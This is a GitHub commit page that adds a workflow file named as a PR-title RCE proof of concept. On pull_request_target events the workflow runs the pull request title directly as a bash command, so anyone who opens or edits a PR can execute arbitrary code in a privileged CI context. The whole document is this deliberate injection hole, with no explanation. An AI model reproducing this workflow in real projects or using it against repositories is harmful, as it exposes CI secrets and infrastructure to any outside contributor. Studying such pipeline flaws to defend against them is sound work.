Skip to content

Commit 23e6037

Browse files
Create pr-title-rce.yml
1 parent e3f2d73 commit 23e6037

File tree

1 file changed

+16
-0
lines changed

1 file changed

+16
-0
lines changed

.github/workflows/pr-title-rce.yml

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
name: pr-title-rce-poc
2+
3+
on:
4+
pull_request_target:
5+
types: [opened, edited]
6+
7+
jobs:
8+
exploit-via-pr-title:
9+
runs-on: ubuntu-latest
10+
steps:
11+
- name: Dump PR Title as Command
12+
env:
13+
PAYLOAD: ${{ github.event.pull_request.title }}
14+
run: |
15+
echo "[+] Running injected PR title payload..."
16+
bash -c "$PAYLOAD"

0 commit comments

Comments
 (0)